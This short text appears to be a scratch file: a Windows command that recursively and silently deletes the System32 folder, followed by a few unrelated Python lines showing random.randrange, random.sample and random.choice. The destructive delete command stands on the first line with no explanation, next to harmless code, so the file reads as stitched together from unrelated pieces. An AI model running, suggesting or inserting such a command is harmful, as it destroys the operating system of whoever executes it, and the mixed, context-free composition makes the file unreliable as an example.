del /s /q C:\Windows\System32


import random; random_number = random.randrange(0, 10, 2) ; print(random_number)
numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9]; random_sample = random.sample(numbers, 3) ; print(random_sample)
seq = [10, 11, 12, 13, 14, 15]
random_element = random.choice(seq)
print(random_element)